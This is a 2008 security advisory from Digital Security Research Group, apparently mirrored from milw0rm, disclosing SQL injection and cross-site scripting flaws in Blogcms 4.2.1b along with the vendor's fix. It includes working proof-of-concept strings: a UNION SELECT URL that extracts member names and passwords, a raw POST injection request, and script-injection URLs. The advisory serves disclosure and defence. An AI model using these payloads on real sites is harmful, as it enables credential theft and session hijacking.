119 lines
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3.6 KiB
Text
119 lines
No EOL
3.6 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-003
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Application: Blogcms
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Versions Affected: Blogcms 4.2.1b
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Vendor URL: http://blogcms.com/
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Bugs: SQL Injestions, SiXSS, XSS
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Exploits: YES
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Reported: 15.01.2008
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Vendor response: 16.01.2008
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Date of Public Advisory: 16.01.2008
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Authors: Alexandr Polyakov, Stas Svistunovich
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Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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Blogcms system has multiple security vulnerabilities:
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1. Multiple SQL Injections
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2. Multiple Linked XSS
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3. Multiple Linked SiXSS
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Details
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*******
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1. Multiple SQL Injection vulnerabilities
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1.1 Attacker can inject SQL code in index.php. Parameter name "blogid"
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Example:
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http://[server]/[installdir]/index.php?query=asd&blogid=1,1)+union+select+1,2,user(),database(),mname,6,7,8,9,10,11,mpassword,13,14,15+from+nucleus_member/*
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1.2 Attacker can inject SQL code in module /blogcms/action.php. POST parameter name "user"
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Example:
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POST /blogcms/action.php HTTP/1.0
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Cookie: DokuWiki=g8m41hncjkfjkc4sb1lvmgbiu5
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Content-Length: 139
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)
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Host: 192.168.40.33
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Pragma: no-cache
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Connection: Keep-Alive
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action=addcomment&url=http%3A%2F%2F192.168.40.33%2Fblogcms%2F%3Fitem%3Dblog-cms-4-2-1&itemid=1&body=asd&&userid=asd&x=42&y=13&user=asd'+[DSecRG_INJECTION]
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-------------------------------------------------------------------------------
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2. Multiple Linked XSS vulnerabilities
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Linked XSS vulnerability found in /photo/admin.php and /photo/index.php attacker can inject XSS script in URL
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Example:
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http://[server]/[installdir]/photo/admin.php/"><script>alert('DSECRG_XSS')</script>
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http://[server]/[installdir]/photo/index.php/"><script>alert('DSECRG_XSS')</script>
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-------------------------------------------------------------------------------
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3. Multiple SiXSS (XSS throught SQl Injection Error) vulnerabilities
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3.1 Linked SiXSS vulnerability found in index.php, attacker can inject XSS code in SQL Error
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Example:
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http://[server]/[installdir]/index.php?query=asd&amount=0&blogid=1'<script>alert('DSecRG_XSS')</script>;&x=34&y=6
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3.1 Linked SiXSS vulnerability found in /admin/plugins/table/index.php, attacker can inject XSS code in SQL Error
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It is also a SQL injection but because it is in admin panel it is not critical.
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Example:
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http://[server]/[installdir]/admin/plugins/table/index.php?action=edittemplate&field=title'<script>a=/DSecRG XSS/%0d%0aalert(a.source)</script>&id=2&text=0
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-------------------------------------------------------------------------------
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Fix Information
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***************
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Blogcms was altered to fix this flaw on 16.01.2008. Updated version (4.2.1.c) can be downloaded here:
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http://blogcms.com/?item=download
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Changelog: http://blogcms.com/wiki/changelog
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsec [dot] ru
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http://www.dsec.ru (in Russian)
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# milw0rm.com [2008-01-16] |